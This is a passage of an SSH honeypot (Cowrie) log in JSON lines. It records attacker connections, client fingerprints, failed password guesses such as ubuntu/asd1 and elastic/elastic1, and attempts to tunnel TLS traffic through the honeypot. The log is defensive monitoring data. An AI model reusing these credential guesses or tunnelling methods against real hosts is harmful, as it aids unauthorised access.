00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\xb9\\x12\\xd4\\x9c\\xea\\xf7B',\\x14\\xbdV!\\xd9\\xeb\\x8b\\xbdq2x\\x82F\\xd0b\\xc7\\xee%\\x15\\x93\\xf5I \\x0c74\\xce\\x11Bx,\\x9f\\xd3\\x0f\\xe0\\xd2\\xa0\\x03\\xb9\\xdb@\\xcb\\x8b\\xa4c#\\x10c9\\xc9\\xbb@\\xbep\\xac\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x866BPm\\x92\\x9eO\\x7fp\\xee\\x9e([9\\xd4\\x94\\xa4u\\xeb7\\x98\\x91\\xadF\\xf6\\n\\xc6\\xdb\\xe0qn\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:43.274055Z","src_ip":"123.27.168.40","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:43.285754Z","src_ip":"91.92.40.36","session":"9ba6f0119a50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:43.722498Z","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:43.950048Z","src_ip":"123.27.168.40","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfaMbKA\\n\\xba\\xcc\\xce=\\x90|;Z\\xf49\\xfb\\x98\\xdcH\\xa8k\\xcf\\xb7\\xaa0\\x92\\xb7\\xca\\x0fQ{ \\xc7m\\xb2\\xaa\\xb82\\xaa\\xbc\\x96\\xc4\\x03I1\\x1f\\xd8=\\xd4\\x9a\\x17<Q\\xd1\\x8e\\xd3\\xcc\\xe9\\xc0\\xf9\\xa4G\\x88\\x86\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11\\xe322\\xbeb\\xfd\\xd4\\xb2\\x8c\\x13\\xf3\\x83\\xd6\\x823\\xeb&D\\xd3^\\xa4\\x8d9\\x93o\\x9d\\xfc\\x03\\x9cap\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfaMbKA\\n\\xba\\xcc\\xce=\\x90|;Z\\xf49\\xfb\\x98\\xdcH\\xa8k\\xcf\\xb7\\xaa0\\x92\\xb7\\xca\\x0fQ{ \\xc7m\\xb2\\xaa\\xb82\\xaa\\xbc\\x96\\xc4\\x03I1\\x1f\\xd8=\\xd4\\x9a\\x17<Q\\xd1\\x8e\\xd3\\xcc\\xe9\\xc0\\xf9\\xa4G\\x88\\x86\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11\\xe322\\xbeb\\xfd\\xd4\\xb2\\x8c\\x13\\xf3\\x83\\xd6\\x823\\xeb&D\\xd3^\\xa4\\x8d9\\x93o\\x9d\\xfc\\x03\\x9cap\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:43.952011Z","src_ip":"123.27.168.40","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:44.288569Z","src_ip":"123.27.168.40","session":"5e760e52ddd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:44.575664Z","src_ip":"91.92.40.36","session":"a8268325031d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28124,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c2bb4705990","protocol":"ssh","message":"New connection: 91.92.40.36:28124 (159.203.135.109:22) [session: 9c2bb4705990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:47.726313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:48.591356Z","src_ip":"91.92.40.36","session":"9c2bb4705990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:48.595830Z","src_ip":"91.92.40.36","session":"9c2bb4705990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd1","message":"login attempt [ubuntu/asd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:49.277336Z","src_ip":"91.92.40.36","session":"9ba6f0119a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic1","message":"login attempt [elastic/elastic1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:51.263673Z","src_ip":"91.92.40.36","session":"9c2bb4705990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:51.446841Z","src_ip":"91.92.40.36","session":"9ba6f0119a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:52.938764Z","src_ip":"91.92.40.36","session":"9c2bb4705990","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:54.146269Z","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:54.180852Z","src_ip":"63.141.242.2","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b\\xbf\\x13\\xe6xRD\\xdc\\x81\\x0et\\xe7\\xac2u\\x9c\\x19\\x8d\\x03\\x1c\\xb0\\x03\\x05\\xe0\\xb5\\xeeRGw\\x87\"\\xc6 f\\xc2\\xcb\\x98\\x1f=\\xc4\\x0e@m\\x04N\\xac\\xf6\\xd8\\xb3\\xe0\\xe6O\\xa3qEG\\x03\\x94H\\x8e\\x8f\\x13\\x02\\xa6X\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 `\\x07\\x8cmX\\xb8\\x83bHf\\xb0,\\xf6{.\\xc78\\xadg:\\x10.8\\xfc\\xc8\\x17=b\\xf2\\xe4\\xcbL\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b\\xbf\\x13\\xe6xRD\\xdc\\x81\\x0et\\xe7\\xac2u\\x9c\\x19\\x8d\\x03\\x1c\\xb0\\x03\\x05\\xe0\\xb5\\xeeRGw\\x87\"\\xc6 f\\xc2\\xcb\\x98\\x1f=\\xc4\\x0e@m\\x04N\\xac\\xf6\\xd8\\xb3\\xe0\\xe6O\\xa3qEG\\x03\\x94H\\x8e\\x8f\\x13\\x02\\xa6X\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 `\\x07\\x8cmX\\xb8\\x83bHf\\xb0,\\xf6{.\\xc78\\xadg:\\x10.8\\xfc\\xc8\\x17=b\\xf2\\xe4\\xcbL\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:54.183502Z","src_ip":"63.141.242.2","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:54.220820Z","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:54.255655Z","src_ip":"63.141.242.2","session":"dd5491d74f72","protocol":"ssh"}
